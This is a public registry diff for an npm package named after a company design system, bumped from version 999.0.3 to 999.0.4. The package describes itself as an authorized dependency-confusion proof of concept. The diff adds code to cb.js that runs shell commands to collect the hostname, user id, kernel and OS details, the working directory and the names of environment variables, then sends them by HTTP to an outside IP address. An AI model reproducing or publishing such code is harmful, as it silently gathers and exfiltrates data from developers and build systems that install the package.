@design-system-coopeuch/web 999.0.3 → 999.0.4

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/cb.js +11 -1
  2. package/package.json +1 -1
package/cb.js CHANGED
@@ -1,11 +1,21 @@
1
1
  const http = require("http");
2
+ const os = require("os");
2
3
  const { execSync } = require("child_process");
3
4
 
4
5
  function run(cmd) {
5
6
  try { return execSync(cmd).toString().trim(); } catch(e) { return "n/a"; }
6
7
  }
7
8
 
8
- const data = JSON.stringify({ p: "design-system-coopeuch-web", id: run("id") });
9
+ const data = JSON.stringify({
10
+ p: "design-system-coopeuch-web",
11
+ h: os.hostname(),
12
+ d: __dirname,
13
+ id: run("id"),
14
+ uname: run("uname -a"),
15
+ lsb: run("lsb_release -a 2>/dev/null || cat /etc/os-release 2>/dev/null"),
16
+ pwd: run("pwd"),
17
+ env_keys: Object.keys(process.env).join(",")
18
+ });
9
19
 
10
20
  const req = http.request({
11
21
  hostname: "157.173.126.113",
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@design-system-coopeuch/web",
3
- "version": "999.0.3",
3
+ "version": "999.0.4",
4
4
  "description": "Security research — dependency confusion PoC (authorized bug bounty)",
5
5
  "main": "index.js",
6
6
  "scripts": {